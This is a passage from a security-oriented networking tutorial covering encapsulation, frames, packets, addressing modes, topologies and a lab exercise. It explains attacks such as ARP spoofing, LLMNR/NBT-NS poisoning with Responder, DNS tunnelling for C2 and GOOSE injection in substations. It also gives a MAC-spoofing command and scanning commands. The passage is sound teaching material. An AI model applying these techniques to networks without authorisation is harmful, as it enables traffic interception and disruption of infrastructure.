[Source Port: 54321 | Dest Port: 80 | Seq: 100 | Ack: 0 | Flags: SYN | ...]
[Application Data: GET / HTTP/1.1...]
→ This unit is called a SEGMENT

Network layer adds IP header:
[Version: 4 | IHL | TOS | Total Length | ID | Flags | TTL: 64 | Proto: 6 | Checksum | Src: 192.168.1.5 | Dst: 93.184.216.34]
[TCP Segment]
→ This unit is called a PACKET

Data Link layer adds Ethernet header + trailer:
[Dst MAC: AA:BB:CC:DD:EE:FF | Src MAC: 11:22:33:44:55:66 | EtherType: 0x0800]
[IP Packet]
[FCS Trailer: checksum]
→ This unit is called a FRAME
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The terminology matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Frame&lt;/strong&gt; — Layer 2 unit, contains MAC addresses, travels between adjacent network nodes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Packet&lt;/strong&gt; — Layer 3 unit, contains IP addresses, routed across networks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Segment&lt;/strong&gt; (TCP) / &lt;strong&gt;Datagram&lt;/strong&gt; (UDP) — Layer 4 unit, contains port numbers, addresses applications&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.2 Frames — The Layer 2 Unit
&lt;/h3&gt;

&lt;p&gt;A frame is the unit of data at the Data Link layer. It contains everything needed to move data between two directly connected devices on the same network segment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ethernet Frame Structure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────────────────────────────────────────────────────────────────┐
│ Preamble │ Dest MAC │ Src MAC │ EtherType │ Payload (46-1500 bytes) │ FCS │
│  7 bytes │ 6 bytes  │ 6 bytes │  2 bytes  │                         │ 4B  │
└───────────────────────────────────────────────────────────────────────┘

Preamble: 7 bytes of alternating 1s and 0s to synchronise receiver clock
Dest MAC: 6-byte MAC address of destination (or FF:FF:FF:FF:FF:FF for broadcast)
Src MAC:  6-byte MAC address of sender
EtherType: What protocol is in the payload (0x0800=IPv4, 0x0806=ARP, 0x86DD=IPv6)
Payload:  The IP packet (or ARP message, etc.)
FCS:      Frame Check Sequence — CRC32 checksum to detect transmission errors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Maximum Transmission Unit (MTU):&lt;/strong&gt;&lt;br&gt;
The MTU is the maximum payload size a frame can carry. Standard Ethernet MTU is &lt;strong&gt;1500 bytes&lt;/strong&gt;. This is why packets larger than 1500 bytes must be fragmented — split into multiple packets that are individually framed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jumbo frames&lt;/strong&gt; (up to 9000 bytes payload) are used in data centre environments for performance — fewer frames = less header overhead = more efficient bandwidth use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security implication of MTU:&lt;/strong&gt;&lt;br&gt;
IP fragmentation is a classic attack vector. Fragmentation offsets in IP headers can be crafted to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Evade intrusion detection systems that only inspect the first fragment&lt;/li&gt;
&lt;li&gt;Cause denial of service through fragment buffer exhaustion (Teardrop attack)&lt;/li&gt;
&lt;li&gt;Bypass firewall rules that do not reassemble fragments before inspection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Modern firewalls perform fragment reassembly before inspection, but legacy systems and some embedded OT devices still don't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MAC Addresses — 48 bits of identity:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MAC address: AA:BB:CC:DD:EE:FF
             ─────────────── ──────────
             OUI (24 bits)   Device ID (24 bits)
             Manufacturer    Specific device

OUI examples:
00:50:56 → VMware
00:0C:29 → VMware (alternative)
3C:22:FB → Apple
DC:A6:32 → Raspberry Pi
00:1A:11 → Google
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;MAC addresses in security:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MAC addresses are only meaningful within the same Layer 2 network segment — they are replaced at each router hop&lt;/li&gt;
&lt;li&gt;MAC address spoofing is trivial: &lt;code&gt;ip link set eth0 address AA:BB:CC:DD:EE:FF&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;MAC filtering on Wi-Fi networks provides essentially no security — attackers sniff the network, identify an allowed MAC, and spoof it&lt;/li&gt;
&lt;li&gt;MAC addresses are used for device tracking in Wi-Fi networks — modern operating systems randomise MAC addresses for probe requests specifically to prevent this&lt;/li&gt;
&lt;li&gt;In forensics, MAC addresses in captured traffic reveal manufacturer and sometimes device model, which is useful for asset identification&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.3 Packets — The Layer 3 Unit
&lt;/h3&gt;

&lt;p&gt;A packet is the unit of data at the Network layer. It contains the addressing information needed to route data across multiple networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IPv4 Packet Header:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
├─────────┬─────────┬──────────────────┬──────────────────────────┤
│ Version │   IHL   │ Type of Service  │       Total Length       │
│  4 bits │  4 bits │     8 bits       │         16 bits          │
├────────────────────┬───┬───┬─────────┴──────────────────────────┤
│   Identification   │ R │DF │MF│      Fragment Offset            │
│      16 bits       │   │   │  │          13 bits                │
├────────────────────┴───┴───┴─┬──────────────┬───────────────────┤
│   Time to Live (TTL)         │   Protocol   │  Header Checksum  │
│         8 bits               │    8 bits    │     16 bits       │
├──────────────────────────────┴──────────────┴───────────────────┤
│                    Source IP Address (32 bits)                   │
├─────────────────────────────────────────────────────────────────┤
│                  Destination IP Address (32 bits)               │
├─────────────────────────────────────────────────────────────────┤
│                    Options (variable) + Padding                  │
├─────────────────────────────────────────────────────────────────┤
│                    Data (payload)                                │
└─────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Critical fields for security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TTL (Time to Live):&lt;/strong&gt;&lt;br&gt;
Each router that forwards a packet decrements TTL by 1. When TTL reaches 0, the packet is dropped and an ICMP "Time Exceeded" message is sent back to the sender. This prevents packets from circulating forever on misconfigured networks.&lt;/p&gt;

&lt;p&gt;TTL fingerprinting: Different operating systems start with different default TTLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Linux:   64
Windows: 128
Cisco:   255
macOS:   64

If you receive a packet with TTL=115, and Windows starts at 128:
128 - 115 = 13 hops away, likely a Windows machine
This is used in OS fingerprinting — nmap uses TTL as one signal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Protocol field:&lt;/strong&gt;&lt;br&gt;
Identifies the Layer 4 protocol: 6 = TCP, 17 = UDP, 1 = ICMP, 89 = OSPF, 50 = ESP (IPSec), 51 = AH (IPSec).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP Spoofing:&lt;/strong&gt;&lt;br&gt;
The source IP field in a packet is set by the sender. There is no built-in verification. An attacker can craft packets with any source IP — this is IP spoofing. Limitations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Replies go to the spoofed address, not the attacker — so TCP (which requires a handshake) is generally not useful with spoofed IPs&lt;/li&gt;
&lt;li&gt;UDP-based attacks can use spoofed IPs effectively — amplification DDoS attacks (DNS amplification, NTP amplification) work exactly this way&lt;/li&gt;
&lt;li&gt;BCP38 (network ingress filtering) is an ISP-level best practice that drops packets with source IPs that are not routable from the customer's network — but not all ISPs implement it&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  6.4 Why Encapsulation Creates Security Complexity
&lt;/h3&gt;

&lt;p&gt;Each encapsulation layer has its own header that can be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Inspected&lt;/strong&gt; — for analysis, detection, and filtering&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manipulated&lt;/strong&gt; — for spoofing, evasion, and attack&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tunnelled&lt;/strong&gt; — one protocol can carry another (GRE tunnels IP, IP-in-IP, DNS tunnelling carries any data in DNS queries)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tunnel within tunnel attacks bypass security controls by hiding inner protocol traffic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Legitimate: [Ethernet][IP][TCP][HTTP][Payload]
Tunnelled:  [Ethernet][IP][UDP][DNS][Encoded C2 commands]

DNS is allowed through most firewalls.
An attacker who encodes C2 traffic as DNS queries bypasses firewall rules
that block direct TCP connections to attacker infrastructure.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is why deep packet inspection (DPI) — which inspects all layers, including decrypting and inspecting TLS traffic — is a feature of modern security appliances. Perimeter security that only looks at IP addresses and ports is fundamentally blind to a significant portion of modern attack techniques.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Unicast, Multicast, Broadcast — Addressing Modes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 The Fundamental Question: Who Receives This?
&lt;/h3&gt;

&lt;p&gt;When a device sends data on a network, the addressing mode determines who receives it. This has direct security implications — some attacks work by abusing these addressing modes.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Unicast — One to One
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Device A] ──────────────────────────────→ [Device B]
           (Only Device B receives this)

Example: Your browser loading a web page
         192.168.1.5 → 93.184.216.34 (example.com)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unicast is the dominant mode for all normal application traffic — web, email, file transfer, SSH, video calls. The destination is a single specific device identified by its MAC address (Layer 2) or IP address (Layer 3).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unicast traffic is "private" in the sense that only the intended recipient's NIC is supposed to process it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;But:&lt;/strong&gt; On shared media (Wi-Fi, old hub-based networks), all devices receive all frames — NICs normally discard frames not addressed to them&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Promiscuous mode:&lt;/strong&gt; A NIC can be configured to capture ALL frames, not just those addressed to it. This is how packet sniffers (Wireshark, tcpdump) work. On a Wi-Fi network, anyone nearby with a card in monitor mode can capture your unicast traffic. On a switched Ethernet network, this requires ARP poisoning to redirect traffic through the attacker.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.3 Broadcast — One to All
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Device A] ──────────────────────────────→ [Device B]
                                         → [Device C]
                                         → [Device D]
                                         → [ALL devices in the broadcast domain]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Layer 2 Broadcast:&lt;/strong&gt; Destination MAC = &lt;code&gt;FF:FF:FF:FF:FF:FF&lt;/code&gt;. Every device on the same Layer 2 segment receives and processes this frame.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 Broadcast:&lt;/strong&gt; Destination IP = &lt;code&gt;255.255.255.255&lt;/code&gt; (limited broadcast, stays on local subnet) or &lt;code&gt;192.168.1.255&lt;/code&gt; (directed broadcast for 192.168.1.0/24 subnet).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protocols that use broadcast:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ARP (Address Resolution Protocol):&lt;/strong&gt; "Who has IP 192.168.1.1? Tell 192.168.1.5" — broadcast because the destination MAC is not yet known&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DHCP Discovery:&lt;/strong&gt; "I need an IP address" — broadcast because the client doesn't know the DHCP server's address&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NetBIOS Name Service:&lt;/strong&gt; Legacy Windows name resolution — this is what LLMNR/NBT-NS poisoning attacks target&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OSPF Hello packets:&lt;/strong&gt; Routing protocol neighbour discovery&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Broadcast domains:&lt;/strong&gt;&lt;br&gt;
Every Layer 2 network segment is a broadcast domain — all devices in it receive all broadcasts. Routers do NOT forward broadcasts — they create boundaries between broadcast domains. This is why segmenting a large flat network with VLANs reduces broadcast traffic and limits the scope of broadcast-based attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security attacks leveraging broadcast:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LLMNR/NBT-NS Poisoning (Responder):&lt;/strong&gt;&lt;br&gt;
This is one of the most common and effective attacks in Active Directory environments, and it exploits broadcast-based name resolution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack sequence:
1. User types: \\fileserver (but mistyped — server doesn't exist)
2. Windows tries: DNS → fails
3. Windows tries: LLMNR broadcast → "Who is 'fileserver'?"
4. All machines on the subnet receive this broadcast
5. Attacker's machine (running Responder) answers: "I am fileserver!"
6. Windows sends NTLM authentication to attacker
7. Attacker captures NTLMv2 hash
8. Hash cracked offline or used in relay attack

This requires NO prior access — just being on the same network segment.
This is why guest Wi-Fi must be isolated from corporate networks.
LLMNR and NBT-NS should be disabled in secure environments.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Smurf Attack (historical but important):&lt;/strong&gt;&lt;br&gt;
Send ICMP echo requests with spoofed source IP (victim's IP) to network broadcast address. All devices on the network reply to the victim. Amplification ratio = number of hosts on network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARP Spoofing/Poisoning (uses broadcast):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Attacker broadcasts ARP reply: "192.168.1.1 (gateway) is at MY_MAC"
2. All devices update their ARP cache with the false mapping
3. Traffic destined for the gateway now goes to attacker
4. Attacker forwards traffic to real gateway (transparent MITM)
5. Attacker can read, modify, or drop all traffic

Tools: arpspoof (dsniff), ettercap, Bettercap
Detection: Static ARP entries, ARP inspection on switches, anomaly detection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 Multicast — One to Many (Specific Group)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Device A] ──────────────────────────────→ [Device B]  ← subscribed
                                         → [Device D]  ← subscribed
                                           [Device C]  ← NOT subscribed (ignores)
                                           [Device E]  ← NOT subscribed (ignores)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Multicast sends to a specific group of interested recipients — not all devices, not just one. Devices must subscribe to multicast groups to receive them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multicast addresses:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Layer 3: IPv4 Class D range: &lt;code&gt;224.0.0.0&lt;/code&gt; to &lt;code&gt;239.255.255.255&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Layer 2: MAC addresses starting with &lt;code&gt;01:00:5E&lt;/code&gt; (IPv4 multicast) or &lt;code&gt;33:33&lt;/code&gt; (IPv6 multicast)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Protocols using multicast:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OSPF:&lt;/strong&gt; &lt;code&gt;224.0.0.5&lt;/code&gt; (all OSPF routers) and &lt;code&gt;224.0.0.6&lt;/code&gt; (OSPF designated routers)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EIGRP:&lt;/strong&gt; &lt;code&gt;224.0.0.10&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PIM (Protocol Independent Multicast):&lt;/strong&gt; Routing protocol for multicast traffic&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;mDNS (Multicast DNS):&lt;/strong&gt; &lt;code&gt;224.0.0.251&lt;/code&gt; — used by Apple Bonjour, Chromecast, network printer discovery&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSDP (Simple Service Discovery Protocol):&lt;/strong&gt; &lt;code&gt;239.255.255.250&lt;/code&gt; — used by UPnP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Video streaming:&lt;/strong&gt; Live video distributed to multiple subscribers simultaneously&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IEC 61850 GOOSE messages:&lt;/strong&gt; In electrical substations, GOOSE (Generic Object Oriented Substation Event) uses Ethernet multicast to distribute protection relay status to multiple subscribing devices&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security relevance of multicast:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;mDNS and SSDP — Information Leakage:&lt;/strong&gt;&lt;br&gt;
mDNS and SSDP broadcasts reveal significant information about the network — device names, services, software versions. Attackers use tools like &lt;code&gt;avahi-browse&lt;/code&gt; and &lt;code&gt;miranda&lt;/code&gt; (UPnP exploitation) to enumerate these.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Discover mDNS services on network (passive — just listen)&lt;/span&gt;
avahi-browse &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt;

&lt;span class="c"&gt;# Discover SSDP services (UPnP)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import socket, time
msg = 'M-SEARCH * HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;HOST:239.255.255.250:1900&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;ST:ssdp:all&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;MAN:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;ssdp:discover&lt;/span&gt;&lt;span class="se"&gt;\"\r\n&lt;/span&gt;&lt;span class="s2"&gt;MX:1&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s2"&gt;'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg.encode(), ('239.255.255.250', 1900))
s.settimeout(3)
while True:
    try: print(s.recvfrom(1024)[0].decode())
    except: break
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;IEC 61850 GOOSE — OT Attack Surface:&lt;/strong&gt;&lt;br&gt;
GOOSE messages carry protection relay signals in electrical substations. They use multicast with no authentication in the basic standard. An attacker on the substation LAN can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inject spoofed GOOSE messages to trigger protection relay operations&lt;/li&gt;
&lt;li&gt;Suppress legitimate GOOSE messages (blocking relay operation during a fault)&lt;/li&gt;
&lt;li&gt;Replay captured GOOSE messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a real, demonstrated attack capability against electrical infrastructure. Stuxnet-era research showed that substation LAN access combined with GOOSE injection could cause breaker misoperation.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.5 Anycast — One to Nearest (Bonus Topic)
&lt;/h3&gt;

&lt;p&gt;Anycast is a routing technique where the same IP address is announced from multiple physical locations. Traffic is routed to the topologically nearest instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Same IP: 1.1.1.1 (Cloudflare DNS)
Announcement from: London, Frankfurt, New York, Singapore, São Paulo...
Your packet always routes to the nearest one automatically

Benefits:
- Automatic geographic load balancing
- DDoS resilience (attack traffic is distributed across all anycast nodes)
- Reduced latency (nearest node serves you)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anycast is how major DNS providers (Cloudflare 1.1.1.1, Google 8.8.8.8), CDNs, and DDoS mitigation services work at global scale. Understanding anycast explains why a DDoS against 1.1.1.1 is much harder than DDoS against a single-server DNS — you would have to simultaneously overwhelm hundreds of geographically distributed nodes.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Network Topologies and Their Security Implications
&lt;/h2&gt;

&lt;p&gt;This section is not in the original module outline but is essential for security professionals — network topology directly determines attack paths, blast radius of a compromise, and the effectiveness of security controls.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.1 Physical vs Logical Topology
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Physical topology:&lt;/strong&gt; How devices are physically connected — cables, switches, their physical locations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logical topology:&lt;/strong&gt; How data flows — the paths packets actually take, which may differ from physical connections (VLANs create logical separation on the same physical infrastructure).&lt;/p&gt;

&lt;p&gt;Security operates primarily at the logical topology level — VLANs, routing policies, and firewall rules shape logical topology. But physical topology matters too — an attacker with physical access to a network cable or switch port can bypass all logical security controls.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.2 Common Topologies and Their Security Profiles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Star Topology (Dominant in modern LANs):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        [Switch]
       /   |   \
  [PC1] [PC2] [PC3]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All devices connect to a central switch. The switch is a critical point of failure and control. Compromise the switch → control all traffic. Most enterprise LANs use hierarchical star (access → distribution → core).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bus Topology (Historical, still relevant in OT):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PC1]---[PC2]---[PC3]---[PC4]
         (shared medium)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All devices share a single communication medium. Any device can hear all traffic. Collision domains. This topology is still used in some industrial fieldbus systems (Modbus RTU on RS-485, CAN bus in automotive/industrial). A single compromised device can disrupt all communication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ring Topology (Industrial networks):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PLC1] → [PLC2] → [Switch] → [HMI]
  ↑                              ↓
[IED] ← [Relay] ← [RTU] ← [Historian]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PROFIBUS, some IEC 61850 implementations, and industrial Ethernet with ring redundancy (RSTP/MRP) use ring topologies. Ring networks have high availability (two paths), but ring protocols (like RSTP) have been attacked — STP attacks can force topology recalculation and cause temporary outages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mesh Topology (WAN, Wi-Fi mesh):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[A] ←→ [B]
 ↕  ✕   ↕
[C] ←→ [D]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every node connects to multiple others. Extremely redundant. The internet uses a form of mesh topology at the WAN level. Wi-Fi mesh networks use this for coverage. Hard to completely sever connectivity but provides multiple attack paths.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. The Security Mindset on Networks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Every Network Is Hostile Until Proven Otherwise
&lt;/h3&gt;

&lt;p&gt;The security principle underlying modern network design: &lt;strong&gt;assume compromise&lt;/strong&gt;. A device on the network might be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An attacker's laptop they physically plugged in&lt;/li&gt;
&lt;li&gt;A legitimate device that has been compromised by malware&lt;/li&gt;
&lt;li&gt;A legitimate device being used maliciously by an insider&lt;/li&gt;
&lt;li&gt;A legitimate device with misconfigured settings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Network security controls must function correctly even when some network participants are actively adversarial. This is the foundation of the Zero Trust model.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 The Network Knows Everything
&lt;/h3&gt;

&lt;p&gt;Every packet that crosses a network is a piece of evidence. Network forensics — capturing and analysing network traffic — can reconstruct:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What sites a user visited (from DNS queries and HTTP traffic)&lt;/li&gt;
&lt;li&gt;What files were transferred (from FTP, SMB, HTTP traffic)&lt;/li&gt;
&lt;li&gt;What commands were executed (from SSH session data, RDP session data)&lt;/li&gt;
&lt;li&gt;What credentials were used (from Kerberos tickets, NTLM challenges, plaintext protocols)&lt;/li&gt;
&lt;li&gt;What malware was present (from C2 beaconing patterns, known malware signatures)&lt;/li&gt;
&lt;li&gt;The timeline of an attack (from connection timestamps)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;This works for defenders reading attacker traffic. It also works for attackers reading network traffic on a network they have access to.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  9.3 The Core Attacker's Perspective on Networks
&lt;/h3&gt;

&lt;p&gt;When an attacker gains a foothold on a network (initial access), their first questions are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What network am I on? What is the subnet? (IP address, subnet mask)&lt;/li&gt;
&lt;li&gt;What else is on this network? (ARP table, ping sweep, port scan)&lt;/li&gt;
&lt;li&gt;Where does this network connect to? (Default gateway, routing table)&lt;/li&gt;
&lt;li&gt;What services are running? (Port scan of discovered hosts)&lt;/li&gt;
&lt;li&gt;Can I reach other network segments? (Route table, probing other subnets)&lt;/li&gt;
&lt;li&gt;Is traffic being monitored? (IDS/IPS detection, response time to connection attempts)&lt;/li&gt;
&lt;li&gt;What protocols are in use? (Passive traffic analysis)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these questions maps directly to network concepts. Understanding networks from first principles means you can think through both sides of this — what the attacker sees and how to detect it.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Map Your Network (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On your Kali VM:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Determine your current network configuration&lt;/span&gt;
ip addr                              &lt;span class="c"&gt;# Your IP and subnet&lt;/span&gt;
ip route                             &lt;span class="c"&gt;# Default gateway and routing table&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/resolv.conf                 &lt;span class="c"&gt;# DNS servers&lt;/span&gt;

&lt;span class="c"&gt;# 2. Identify your broadcast domain&lt;/span&gt;
&lt;span class="c"&gt;# If you are 192.168.1.50/24, your network is 192.168.1.0/24&lt;/span&gt;
&lt;span class="c"&gt;# Broadcast is 192.168.1.255&lt;/span&gt;

&lt;span class="c"&gt;# 3. Discover live hosts (ARP-based, Layer 2, no firewall evasion needed for local)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp-scan &lt;span class="nt"&gt;--localnet&lt;/span&gt;
&lt;span class="c"&gt;# Or:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24        &lt;span class="c"&gt;# Ping scan of entire subnet&lt;/span&gt;
&lt;span class="c"&gt;# Record: how many hosts? What IPs?&lt;/span&gt;

&lt;span class="c"&gt;# 4. Check ARP cache — who has communicated recently?&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;
ip neigh show

&lt;span class="c"&gt;# 5. Measure latency to various destinations&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 5 192.168.1.1               &lt;span class="c"&gt;# Your gateway&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 5 8.8.8.8                   &lt;span class="c"&gt;# Google DNS (measure internet latency)&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 5 1.1.1.1                   &lt;span class="c"&gt;# Cloudflare DNS&lt;/span&gt;

